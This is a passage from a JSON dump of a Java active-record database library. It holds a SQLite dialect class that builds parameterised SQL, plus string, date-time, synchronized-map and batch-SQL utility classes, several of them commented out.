java.util.Map.Entry;\n\n\n/**\n * SqliteDialect.\n */\npublic class Sqlite3Dialect extends Dialect {\n\t\n\tpublic Sqlite3Dialect() {\n\t}\n\t\n\tpublic String forTableBuilderDoBuild(String tableName) {\n\t\treturn \"select * from \" + tableName + \" where 1 = 2\";\n\t}\n\n\tpublic String forDbFindById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"select * from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic String forDbDeleteById(String tableName, String[] pKeys) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tStringBuilder sql = new StringBuilder(\"delete from \").append(tableName).append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t}\n\t\treturn sql.toString();\n\t}\n\t\n\tpublic void forDbSave(String tableName, String[] pKeys, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\t\t\n\t\tsql.append(\"insert into \");\n\t\tsql.append(tableName).append('(');\n\t\tStringBuilder temp = new StringBuilder();\n\t\ttemp.append(\") values(\");\n\t\t\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tif (paras.size() > 0) {\n\t\t\t\tsql.append(\", \");\n\t\t\t\ttemp.append(\", \");\n\t\t\t}\n\t\t\tsql.append(e.getKey());\n\t\t\ttemp.append('?');\n\t\t\tparas.add(e.getValue());\n\t\t}\n\t\tsql.append(temp.toString()).append(')');\n\t}\n\t\n\tpublic void forDbUpdate(String tableName, String[] pKeys, Object[] ids, Record record, StringBuilder sql, List<Object> paras) {\n\t\ttableName = tableName.trim();\n\t\ttrimPrimaryKeys(pKeys);\n\n\t\tsql.append(\"update \").append(tableName).append(\" set \");\n\t\tfor (Entry<String, Object> e: record.getColumns().entrySet()) {\n\t\t\tString colName = e.getKey();\n\t\t\tif (!isPrimaryKey(colName, pKeys)) {\n\t\t\t\tif (paras.size() > 0) {\n\t\t\t\t\tsql.append(\", \");\n\t\t\t\t}\n\t\t\t\tsql.append(colName).append(\" = ? \");\n\t\t\t\tparas.add(e.getValue());\n\t\t\t}\n\t\t}\n\t\tsql.append(\" where \");\n\t\tfor (int i=0; i<pKeys.length; i++) {\n\t\t\tif (i > 0) {\n\t\t\t\tsql.append(\" and \");\n\t\t\t}\n\t\t\tsql.append(pKeys[i]).append(\" = ?\");\n\t\t\tparas.add(ids[i]);\n\t\t}\n\t}\n\t\n\tpublic String forPaginate(int pageNumber, int pageSize, StringBuilder findSql) {\n\t\tint offset = pageSize * (pageNumber - 1);\n\t\tfindSql.append(\" limit \").append(offset).append(\", \").append(pageSize);\n\t\treturn findSql.toString();\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, List<Object> paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n\t\n\tpublic void fillStatement(PreparedStatement pst, Object... paras) throws SQLException {\n\t\tfillStatementHandleDateType(pst, paras);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/kit/StrKit.java",
    "content": "///**\n// * Copyright (c) 2011-2015, James Zhan 詹波 (jfinal@126.com).\n// *\n// * Licensed under the Apache License, Version 2.0 (the \"License\");\n// * you may not use this file except in compliance with the License.\n// * You may obtain a copy of the License at\n// *\n// *      http://www.apache.org/licenses/LICENSE-2.0\n// *\n// * Unless required by applicable law or agreed to in writing, software\n// * distributed under the License is distributed on an \"AS IS\" BASIS,\n// * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// * See the License for the specific language governing permissions and\n// * limitations under the License.\n// */\n//\n//package io.github.wujun728.db.record.kit;\n//\n///**\n// * StrKit.\n// */\n//public class StrKit {\n//\n//\t/**\n//\t * 首字母变小写\n//\t */\n//\tpublic static String firstCharToLowerCase(String str) {\n//\t\tchar firstChar = str.charAt(0);\n//\t\tif (firstChar >= 'A' && firstChar <= 'Z') {\n//\t\t\tchar[] arr = str.toCharArray();\n//\t\t\tarr[0] += ('a' - 'A');\n//\t\t\treturn new String(arr);\n//\t\t}\n//\t\treturn str;\n//\t}\n//\n//\t/**\n//\t * 首字母变大写\n//\t */\n//\tpublic static String firstCharToUpperCase(String str) {\n//\t\tchar firstChar = str.charAt(0);\n//\t\tif (firstChar >= 'a' && firstChar <= 'z') {\n//\t\t\tchar[] arr = str.toCharArray();\n//\t\t\tarr[0] -= ('a' - 'A');\n//\t\t\treturn new String(arr);\n//\t\t}\n//\t\treturn str;\n//\t}\n//\n//\t/**\n//\t * 字符串为 null 或者内部字符全部为 ' ' '\\t' '\\n' '\\r' 这四类字符时返回 true\n//\t */\n//\tpublic static boolean isBlank(String str) {\n//\t\tif (str == null) {\n//\t\t\treturn true;\n//\t\t}\n//\n//\t\tfor (int i = 0, len = str.length(); i < len; i++) {\n//\t\t\tif (str.charAt(i) > ' ') {\n//\t\t\t\treturn false;\n//\t\t\t}\n//\t\t}\n//\t\treturn true;\n//\t}\n//\n//\tpublic static boolean notBlank(String str) {\n//\t\treturn !isBlank(str);\n//\t}\n//\n//\tpublic static boolean notBlank(String... strings) {\n//\t\tif (strings == null || strings.length == 0) {\n//\t\t\treturn false;\n//\t\t}\n//\t\tfor (String str : strings) {\n//\t\t\tif (isBlank(str)) {\n//\t\t\t\treturn false;\n//\t\t\t}\n//\t\t}\n//\t\treturn true;\n//\t}\n//\n//\tpublic static boolean hasBlank(String... strings) {\n//\t\tif (strings == null || strings.length == 0) {\n//\t\t\treturn true;\n//\t\t}\n//\n//\t\tfor (String str : strings) {\n//\t\t\tif (isBlank(str)) {\n//\t\t\t\treturn true;\n//\t\t\t}\n//\t\t}\n//\t\treturn false;\n//\t}\n//\n//\tpublic static boolean notNull(Object... paras) {\n//\t\tif (paras == null) {\n//\t\t\treturn false;\n//\t\t}\n//\t\tfor (Object obj : paras) {\n//\t\t\tif (obj == null) {\n//\t\t\t\treturn false;\n//\t\t\t}\n//\t\t}\n//\t\treturn true;\n//\t}\n//\n//\tpublic static String defaultIfBlank(String str, String defaultValue) {\n//\t\treturn isBlank(str) ? defaultValue : str;\n//\t}\n//\n//\t/**\n//\t * 将包含下划线字符 '_' 的字符串转换成驼峰格式，不包含下划线则原样返回\n//\t */\n//\tpublic static String toCamelCase(String str) {\n//\t\treturn toCamelCase(str, false);\n//\t}\n//\n//\t/**\n//\t * 字符串转换成驼峰格式\n//\t *\n//\t * <pre>\n//\t * toLowerCaseAnyway 参数的作用如下：\n//\t *\n//\t * 1：当待转换字符串中包含下划线字符 '_' 时，无需关心 toLowerCaseAnyway 参数的值，转换结果始终一样\n//\t *\n//\t * 2：当待转换字符串中不包含下划线字符 '_' 时，toLowerCaseAnyway 参数规则如下：\n//\t *    true 值:  将待转换字符串全部转换成小与字母，适用于 oralce 数据库字段转换的场景\n//\t *              因为 oracle 字段全是大写字母\n//\t *\n//\t *    false 值: 则原样返回待转换字符串，适用于待转换字符串可能原本就是驼峰格式的场景\n//\t *              如果原本就是驼峰，全部转成小写字母显然不合理\n//\t * </pre>\n//\t */\n//\tpublic static String toCamelCase(String str, boolean toLowerCaseAnyway) {\n//\t\tint len = str.length();\n//\t\tif (len <= 1) {\n//\t\t\treturn str;\n//\t\t}\n//\n//\t\tchar ch;\n//\t\tint index = 0;\n//\t\tchar[] buf = new char[len];\n//\n//\t\tint i = 0;\n//\t\tfor (; i < len; i++) {\n//\t\t\tch = str.charAt(i);\n//\t\t\tif (ch == '_') {\n//\t\t\t\t// 当前字符为下划线时，将指针后移一位，将紧随下划线后面一个字符转成大写并存放\n//\t\t\t\ti++;\n//\t\t\t\tif (i < len) {\n//\t\t\t\t\tch = str.charAt(i);\n//\t\t\t\t\tbuf[index] = (\n//\t\t\t\t\t\t\tindex == 0 ?\t// 首字母无条件变小写\n//\t\t\t\t\t\t\tCharacter.toLowerCase(ch) :\n//\t\t\t\t\t\t\tCharacter.toUpperCase(ch)\n//\t\t\t\t\t\t);\n//\t\t\t\t\tindex++;\n//\t\t\t\t}\n//\t\t\t}\n//\t\t\telse {\n//\t\t\t\tbuf[index++] = Character.toLowerCase(ch);\n//\t\t\t}\n//\t\t}\n//\n//\t\tif (toLowerCaseAnyway) {\n//\t\t\treturn new String(buf, 0, index);\n//\t\t}\n//\n//\t\t// i == index 时，表明字符串中不存在字符 '_'\n//\t\t// 无下划线的字符串原本可能就是驼峰形式，所以原样返回\n//\t\treturn i == index ? str : new String(buf, 0, index);\n//\t}\n//\n//\tpublic static String join(String[] stringArray) {\n//\t\tStringBuilder sb = new StringBuilder();\n//\t\tfor (String s : stringArray) {\n//\t\t\tsb.append(s);\n//\t\t}\n//\t\treturn sb.toString();\n//\t}\n//\n//\tpublic static String join(String[] stringArray, String separator) {\n//\t\tStringBuilder sb = new StringBuilder();\n//\t\tfor (int i=0; i<stringArray.length; i++) {\n//\t\t\tif (i > 0) {\n//\t\t\t\tsb.append(separator);\n//\t\t\t}\n//\t\t\tsb.append(stringArray[i]);\n//\t\t}\n//\t\treturn sb.toString();\n//\t}\n//\n//\tpublic static String join(java.util.List<String> list, String separator) {\n//\t\tStringBuilder sb = new StringBuilder();\n//\t\tfor (int i=0, len=list.size(); i<len; i++) {\n//\t\t\tif (i > 0) {\n//\t\t\t\tsb.append(separator);\n//\t\t\t}\n//\t\t\tsb.append(list.get(i));\n//\t\t}\n//\t\treturn sb.toString();\n//\t}\n//\n//\t/*public static boolean slowEquals(String a, String b) {\n//\t\tbyte[] aBytes = (a != null ? a.getBytes() : null);\n//\t\tbyte[] bBytes = (b != null ? b.getBytes() : null);\n//\t\treturn HashKit.slowEquals(aBytes, bBytes);\n//\t}*/\n//\n//\tpublic static boolean equals(String a, String b) {\n//\t\treturn a == null ? b == null : a.equals(b);\n//\t}\n//\n//\tpublic static String getRandomUUID() {\n//\t\treturn java.util.UUID.randomUUID().toString().replace(\"-\", \"\");\n//\t}\n//}\n//\n//\n//\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/kit/SyncWriteMap.java",
    "content": "///**\n// * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n// *\n// * Licensed under the Apache License, Version 2.0 (the \"License\");\n// * you may not use this file except in compliance with the License.\n// * You may obtain a copy of the License at\n// *\n// *      http://www.apache.org/licenses/LICENSE-2.0\n// *\n// * Unless required by applicable law or agreed to in writing, software\n// * distributed under the License is distributed on an \"AS IS\" BASIS,\n// * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// * See the License for the specific language governing permissions and\n// * limitations under the License.\n// */\n//\n//package io.github.wujun728.db.record.kit;\n//\n//import java.util.HashMap;\n//import java.util.Map;\n//import java.util.function.BiFunction;\n//import java.util.function.Function;\n//\n///**\n// * SyncWriteMap 同步写 HashMap\n// * 创建原因是 HashMap扩容时，遇到并发修改可能造成 100% CPU 占用\n// *\n// * SyncWriteMap 拥有 HashMap 的性能，但不保障并发访问的线程安全\n// * 只用于读多写少且不用保障线程安全的场景\n// *\n// * 例如 MethodKit 中用于缓存 MethodInfo 的 cache，被写入的数据\n// * 不用保障是单例，读取之后会做 null 值判断\n// *\n// * ActionMapping 中的 HashMap 是系统启动时在独立线程内初始化的，\n// * 不存在并发写，只存在并发读的情况，所以仍然可以使用 HashMap\n// */\n//public class SyncWriteMap<K, V> extends HashMap<K, V> {\n//\n//\tprivate static final long serialVersionUID = -7287230891751869148L;\n//\n//\tpublic SyncWriteMap() {\n//\t}\n//\n//\tpublic SyncWriteMap(int initialCapacity) {\n//\t\tsuper(initialCapacity);\n//\t}\n//\n//\tpublic SyncWriteMap(int initialCapacity, float loadFactor) {\n//\t\tsuper(initialCapacity, loadFactor);\n//\t}\n//\n//\tpublic SyncWriteMap(Map<? extends K, ? extends V> m) {\n//\t\tsuper(m);\n//\t}\n//\n//\t@Override\n//\tpublic V put(K key, V value) {\n//\t\tsynchronized (this) {\n//\t\t\treturn super.put(key, value);\n//\t\t}\n//\t}\n//\n//\t@Override\n//\tpublic V putIfAbsent(K key, V value) {\n//\t\tsynchronized (this) {\n//\t\t\treturn super.putIfAbsent(key, value);\n//\t\t}\n//\t}\n//\n//\t@Override\n//\tpublic void putAll(Map<? extends K, ? extends V> m) {\n//\t\tsynchronized (this) {\n//\t\t\tsuper.putAll(m);\n//\t\t}\n//\t}\n//\n//\t@Override\n//\tpublic V remove(Object key) {\n//\t\tsynchronized (this) {\n//\t\t\treturn super.remove(key);\n//\t\t}\n//\t}\n//\n//\t@Override\n//\tpublic void clear() {\n//\t\tsynchronized (this) {\n//\t\t\tsuper.clear();\n//\t\t}\n//\t}\n//\n//\t@Override\n//    public V computeIfAbsent(K key, Function<? super K, ? extends V> mappingFunction) {\n//        synchronized (this) {\n//            return super.computeIfAbsent(key, mappingFunction);\n//        }\n//    }\n//\n//    @Override\n//    public V computeIfPresent(K key, BiFunction<? super K, ? super V, ? extends V> remappingFunction) {\n//        synchronized (this) {\n//            return super.computeIfPresent(key, remappingFunction);\n//        }\n//    }\n//\n//    @Override\n//    public V compute(K key, BiFunction<? super K, ? super V, ? extends V> remappingFunction) {\n//        synchronized (this) {\n//            return super.compute(key, remappingFunction);\n//        }\n//    }\n//\n//    @Override\n//    public boolean replace(K key, V oldValue, V newValue) {\n//        synchronized (this) {\n//            return super.replace(key, oldValue, newValue);\n//        }\n//    }\n//\n//    @Override\n//    public V replace(K key, V value) {\n//        synchronized (this) {\n//            return super.replace(key, value);\n//        }\n//    }\n//\n//    @Override\n//    public void replaceAll(BiFunction<? super K, ? super V, ? extends V> function) {\n//        synchronized (this) {\n//            super.replaceAll(function);\n//        }\n//    }\n//\n//    @Override\n//    public V merge(K key, V value, BiFunction<? super V, ? super V, ? extends V> remappingFunction) {\n//        synchronized (this) {\n//            return super.merge(key, value, remappingFunction);\n//        }\n//    }\n//}\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/kit/TimeKit.java",
    "content": "///**\n// * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n// *\n// * Licensed under the Apache License, Version 2.0 (the \"License\");\n// * you may not use this file except in compliance with the License.\n// * You may obtain a copy of the License at\n// *\n// *      http://www.apache.org/licenses/LICENSE-2.0\n// *\n// * Unless required by applicable law or agreed to in writing, software\n// * distributed under the License is distributed on an \"AS IS\" BASIS,\n// * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// * See the License for the specific language governing permissions and\n// * limitations under the License.\n// */\n//\n//package io.github.wujun728.db.record.kit;\n//\n//import java.text.ParseException;\n//import java.text.SimpleDateFormat;\n//import java.time.Instant;\n//import java.time.LocalDate;\n//import java.time.LocalDateTime;\n//import java.time.LocalTime;\n//import java.time.ZoneId;\n//import java.time.chrono.ChronoLocalDateTime;\n//import java.time.format.DateTimeFormatter;\n//import java.util.Date;\n//import java.util.HashMap;\n//import java.util.Map;\n//\n///**\n// * TimeKit 用于简化 JDK 8 新增的时间 API\n// *\n// * 新旧日期转换通过桥梁 Instant 进行，转成 LocalDate、LocalTime 需要先转成 LocalDateTime：\n// *   新转旧：LocalDateTime.atZone(ZoneId).toInstant() -> Instant -> Date.from(Instant)\n// *   旧转新：Date.toInstant() -> Instant -> LocalDateTime.ofInstant(Instant, ZoneId)\n// *\n// * 经测试，SimpleDateFormat 比 DateTimeFormatter 对 pattern 的支持更好\n// * 对于同样的 pattern 值 \"yyyy-MM-dd HH:mm:ss\"，前者可以转换 \"2020-06-9 12:13:19\"\n// * 后者却不支持，原因是 pattern 的 dd 位置只有数字 9，必须要是两位数字才能支持\n// *\n// *\n// * 所以：建议优先使用转换结果为 Date 的 parse 方法，使用 SimpleDateFormat 来转换\n// */\n//public class TimeKit {\n//\n//\t/**\n//\t * 缓存线程安全的 DateTimeFormatter\n//\t */\n//\tprivate static final Map<String, DateTimeFormatter> formaters = new SyncWriteMap<>();\n//\n//\tpublic static DateTimeFormatter getDateTimeFormatter(String pattern) {\n//\t\tDateTimeFormatter ret = formaters.get(pattern);\n//\t\tif (ret == null) {\n//\t\t\tret = DateTimeFormatter.ofPattern(pattern);\n//\t\t\tformaters.put(pattern, ret);\n//\t\t}\n//\t\treturn ret;\n//\t}\n//\n//\t/**\n//\t * 结合 ThreadLocal 缓存 \"非线程安全\" 的 SimpleDateFormat\n//\t */\n//\tprivate static final ThreadLocal<HashMap<String, SimpleDateFormat>> TL = ThreadLocal.withInitial(() -> new HashMap<>());\n//\n//\tpublic static SimpleDateFormat getSimpleDateFormat(String pattern) {\n//\t\tSimpleDateFormat ret = TL.get().get(pattern);\n//\t\tif (ret == null) {\n//\t\t\tret = new SimpleDateFormat(pattern);\n//\t\t\tTL.get().put(pattern, ret);\n//\t\t}\n//\t\treturn ret;\n//\t}\n//\n//\t/**\n//\t * 按指定 pattern 将当前时间转换成 String\n//\t * 例如：now(\"yyyy-MM-dd HH:mm:ss\")\n//\t */\n//\tpublic static String now(String pattern) {\n//\t\treturn LocalDateTime.now().format(getDateTimeFormatter(pattern));\n//\t}\n//\n//\t/**\n//\t * 按 pattern \"yyyy-MM-dd HH:mm:ss\" 将当前时间转换成 String\n//\t */\n//\tpublic static String now() {\n//\t\treturn now(\"yyyy-MM-dd HH:mm:ss\");\n//\t}\n//\n//\t/**\n//\t * 按 pattern \"yyyyMMddHHmmssSSS\" 将当前时间精确到毫秒转换成 String，常用于生成订单号等等单据的部分字符\n//\t */\n//\tpublic static String nowWithMillisecond() {\n//\t\treturn now(\"yyyyMMddHHmmssSSS\");\n//\t}\n//\n//\t/**\n//\t * 按指定 pattern 将 LocalDateTime 转换成 String\n//\t * 例如：format(LocalDateTime.now(), \"yyyy-MM-dd HH:mm:ss\")\n//\t */\n//\tpublic static String format(LocalDateTime localDateTime, String pattern) {\n//\t\treturn localDateTime.format(getDateTimeFormatter(pattern));\n//\t}\n//\n//\tpublic static String format(LocalDateTime localDateTime) {\n//        return format(localDateTime, \"yyyy-MM-dd HH:mm:ss\");\n//    }\n//\n//\t/**\n//\t * 按指定 pattern 将 LocalDate 转换成 String\n//\t */\n//\tpublic static String format(LocalDate localDate, String pattern) {\n//\t\treturn localDate.format(getDateTimeFormatter(pattern));\n//\t}\n//\n//\t/**\n//\t * 按指定 pattern 将 LocalTime 转换成 String\n//\t */\n//\tpublic static String format(LocalTime localTime, String pattern) {\n//\t\treturn localTime.format(getDateTimeFormatter(pattern));\n//\t}\n//\n//\t/**\n//\t * 按指定 pattern 将 Date 转换成 String\n//\t * 例如：format(new Date(), \"yyyy-MM-dd HH:mm:ss\")\n//\t */\n//\tpublic static String format(Date date, String pattern) {\n//\t\treturn getSimpleDateFormat(pattern).format(date);\n//\t}\n//\n//\tpublic static String format(Date date) {\n//        return format(date, \"yyyy-MM-dd HH:mm:ss\");\n//    }\n//\n//\t/**\n//\t * 按指定 pattern 将 String 转换成 Date\n//\t */\n//\tpublic static Date parse(String dateString, String pattern) {\n//\t\ttry {\n//\t\t\treturn getSimpleDateFormat(pattern).parse(dateString);\n//\t\t} catch (ParseException e) {\n//\t\t\tthrow new RuntimeException(e);\n//\t\t}\n//\t}\n//\n//\t/**\n//\t * 按指定 pattern 将 String 转换成 LocalDateTime\n//\t */\n//\tpublic static LocalDateTime parseLocalDateTime(String localDateTimeString, String pattern) {\n//\t\treturn LocalDateTime.parse(localDateTimeString, getDateTimeFormatter(pattern));\n//\t}\n//\n//\t/**\n//\t * 按指定 pattern 将 String 转换成 LocalDate\n//\t */\n//\tpublic static LocalDate parseLocalDate(String localDateString, String pattern) {\n//\t\treturn LocalDate.parse(localDateString, getDateTimeFormatter(pattern));\n//\t}\n//\n//\t/**\n//\t * 按指定 pattern 将 String 转换成 LocalTime\n//\t */\n//\tpublic static LocalTime parseLocalTime(String localTimeString, String pattern) {\n//\t\treturn LocalTime.parse(localTimeString, getDateTimeFormatter(pattern));\n//\t}\n//\n//\t/**\n//\t * 判断 A 的时间是否在 B 的时间 \"之后\"\n//\t */\n//\tpublic static boolean isAfter(ChronoLocalDateTime<?> self, ChronoLocalDateTime<?> other) {\n//\t\treturn self.isAfter(other);\n//\t}\n//\n//\t/**\n//\t * 判断 A 的时间是否在 B 的时间 \"之前\"\n//\t */\n//\tpublic static boolean isBefore(ChronoLocalDateTime<?> self, ChronoLocalDateTime<?> other) {\n//\t\treturn self.isBefore(other);\n//\t}\n//\n//\t/**\n//\t * 判断 A 的时间是否与 B 的时间 \"相同\"\n//\t */\n//\tpublic static boolean isEqual(ChronoLocalDateTime<?> self, ChronoLocalDateTime<?> other) {\n//\t\treturn self.isEqual(other);\n//\t}\n//\n//\t/**\n//\t * java.util.Date --> java.time.LocalDateTime\n//\t */\n//\tpublic static LocalDateTime toLocalDateTime(Date date) {\n//\t\t// java.sql.Date 不支持 toInstant()，需要先转换成 java.util.Date\n//\t\tif (date instanceof java.sql.Date) {\n//\t\t\tdate = new Date(date.getTime());\n//\t\t}\n//\n//\t\tInstant instant = date.toInstant();\n//\t\tZoneId zone = ZoneId.systemDefault();\n//\t\treturn LocalDateTime.ofInstant(instant, zone);\n//\t}\n//\n//\t/**\n//\t * java.util.Date --> java.time.LocalDate\n//\t */\n//\tpublic static LocalDate toLocalDate(Date date) {\n//\t\t// java.sql.Date 不支持 toInstant()，需要先转换成 java.util.Date\n//\t\tif (date instanceof java.sql.Date) {\n//\t\t\tdate = new Date(date.getTime());\n//\t\t}\n//\n//\t\tInstant instant = date.toInstant();\n//\t\tZoneId zone = ZoneId.systemDefault();\n//\t\tLocalDateTime localDateTime = LocalDateTime.ofInstant(instant, zone);\n//\t\treturn localDateTime.toLocalDate();\n//\t}\n//\n//\t/**\n//\t * java.util.Date --> java.time.LocalTime\n//\t */\n//\tpublic static LocalTime toLocalTime(Date date) {\n//\t\t// java.sql.Date 不支持 toInstant()，需要先转换成 java.util.Date\n//\t\tif (date instanceof java.sql.Date) {\n//\t\t\tdate = new Date(date.getTime());\n//\t\t}\n//\n//\t\tInstant instant = date.toInstant();\n//\t\tZoneId zone = ZoneId.systemDefault();\n//\t\tLocalDateTime localDateTime = LocalDateTime.ofInstant(instant, zone);\n//\t\treturn localDateTime.toLocalTime();\n//\t}\n//\n//\t/**\n//\t * java.time.LocalDateTime --> java.util.Date\n//\t */\n//\tpublic static Date toDate(LocalDateTime localDateTime) {\n//\t\tZoneId zone = ZoneId.systemDefault();\n//\t\tInstant instant = localDateTime.atZone(zone).toInstant();\n//\t\treturn Date.from(instant);\n//\t}\n//\n//\t/**\n//\t * java.time.LocalDate --> java.util.Date\n//\t */\n//\tpublic static Date toDate(LocalDate localDate) {\n//\t\tZoneId zone = ZoneId.systemDefault();\n//\t\tInstant instant = localDate.atStartOfDay().atZone(zone).toInstant();\n//\t\treturn Date.from(instant);\n//\t}\n//\n//\t/**\n//\t * java.time.LocalTime --> java.util.Date\n//\t */\n//\tpublic static Date toDate(LocalTime localTime) {\n//\t\tLocalDate localDate = LocalDate.now();\n//\t\tLocalDateTime localDateTime = LocalDateTime.of(localDate, localTime);\n//\t\tZoneId zone = ZoneId.systemDefault();\n//\t\tInstant instant = localDateTime.atZone(zone).toInstant();\n//\t\treturn Date.from(instant);\n//\t}\n//\n//\t/**\n//\t * java.time.LocalTime --> java.util.Date\n//\t */\n//\tpublic static Date toDate(LocalDate localDate, LocalTime localTime) {\n//\t\tLocalDateTime localDateTime = LocalDateTime.of(localDate, localTime);\n//\t\tZoneId zone = ZoneId.systemDefault();\n//\t\tInstant instant = localDateTime.atZone(zone).toInstant();\n//\t\treturn Date.from(instant);\n//\t}\n//}\n//\n//\n//\n//\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/mapper/BaseRowMapper.java",
    "content": "// 已移除，使用RecordUtil.mapToBean替代\n/*\npackage io.github.wujun728.db.record.mapper;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.util.ReflectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport io.github.wujun728.db.record.annotation.Column;\nimport org.springframework.jdbc.core.RowMapper;\n\nimport java.lang.reflect.Field;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\n\n/**\n * SpringJdbcTemplate字段映射类\n * /\npublic class BaseRowMapper<T> implements RowMapper<T> {\n\n\tprivate Class<T> clazz;\n\n\tpublic Class<T> getClazz() {\n\t\treturn clazz;\n\t}\n\n\tpublic void setClazz(Class<T> clazz) {\n\t\tthis.clazz = clazz;\n\t}\n\n\tpublic BaseRowMapper(Class<T> clazz) {\n\t\tthis.clazz = clazz;\n\t}\n\n\t@Override\n\tpublic T mapRow(ResultSet rs, int rowNum) throws SQLException {\n\t\tT t;\n\t\ttry {\n\t\t\tt = clazz.newInstance();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn null;\n\t\t}\n\n\t\t//获得类中所有字段，包括其父类中的字段\n\t\tField[] fields = ReflectUtil.getFields(clazz);\n\n\t\tString column = \"\";\n\t\tString str = null;\n\t\tRowType type = null;\n\t\tfor(Field field : fields) {\n\t\t\tif(field.isAnnotationPresent(Column.class)) {\n\t\t\t\tcolumn = field.getAnnotation(Column.class).name();\n\t\t\t\ttype = field.getAnnotation(Column.class).type();\n\n\t\t\t\ttry {\n\t\t\t\t\tfield.setAccessible(true);\n\n\t\t\t\t\tif(type == RowType.STRING) {\n\t\t\t\t\t\tfield.set(t, rs.getString(column));\n\t\t\t\t\t}\n\t\t\t\t\telse if(type == RowType.INTEGER) {\n\t\t\t\t\t\tfield.set(t, rs.getInt(column));\n\t\t\t\t\t}\n\t\t\t\t\telse if(type == RowType.DOUBLE) {\n\t\t\t\t\t\tfield.set(t, rs.getDouble(column));\n\t\t\t\t\t}\n\t\t\t\t\telse if(type == RowType.LONG) {\n\t\t\t\t\t\tfield.set(t, rs.getLong(column));\n\t\t\t\t\t}\n\t\t\t\t\telse if(type == RowType.DATE) {\n\t\t\t\t\t\tstr = rs.getString(column);\n\t\t\t\t\t\tif(StrUtil.isNotBlank(str)) {\n\t\t\t\t\t\t\tfield.set(t, DateUtil.parse(str));\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse if(type == RowType.BOOLEAN) {\n\t\t\t\t\t\tfield.set(t, rs.getBoolean(column));\n\t\t\t\t\t}\n\t\t\t\t} catch (Exception e) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn t;\n\t}\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/mapper/BatchSql.java",
    "content": "package io.github.wujun728.db.record.mapper;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\npublic class BatchSql {\n\tprivate List<Map<String, Object>> sqlList = new ArrayList<Map<String, Object>>();\n\n\tpublic void addBatch(String sql, List<?> paramList) {\n\t\tthis.addBatch(sql, paramList.toArray());\n\t}\n\n\tpublic void addBatch(String sql, Object[] objects) {\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tmap.put(\"sql\", sql);\n\t\tmap.put(\"objects\", objects);\n\t\tsqlList.add(map);\n\t}\n\n\tpublic void addBatch(String sql) {\n\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\tmap.put(\"sql\", sql);\n\t\tmap.put(\"objects\", new Object[] {});\n\t\tsqlList.add(map);\n\t}\n\n\tpublic List<Map<String, Object>> getSqlList() {\n\t\treturn sqlList;\n\t}\n\n\tpublic void clearBatch() {\n\t\tthis.sqlList.clear();\n\t}\n}"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/mapper/RowType.java",
    "content": "// 已移除，随BaseRowMapper一起移除\n/*\npackage io.github.wujun728.db.record.mapper;\n\npublic enum RowType {\n\n\tSTRING(0),\n    INTEGER(1),\n    DOUBLE(2),\n    LONG(3),\n    DATE(4),\n    BOOLEAN(5);\n\n    private final int value;\n\n    RowType(int value) {\n        this.value = value;\n    }\n\n    public int value() {\n        return this.value;\n    }\n}\n*/\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/utils/CodeGenerator.java",
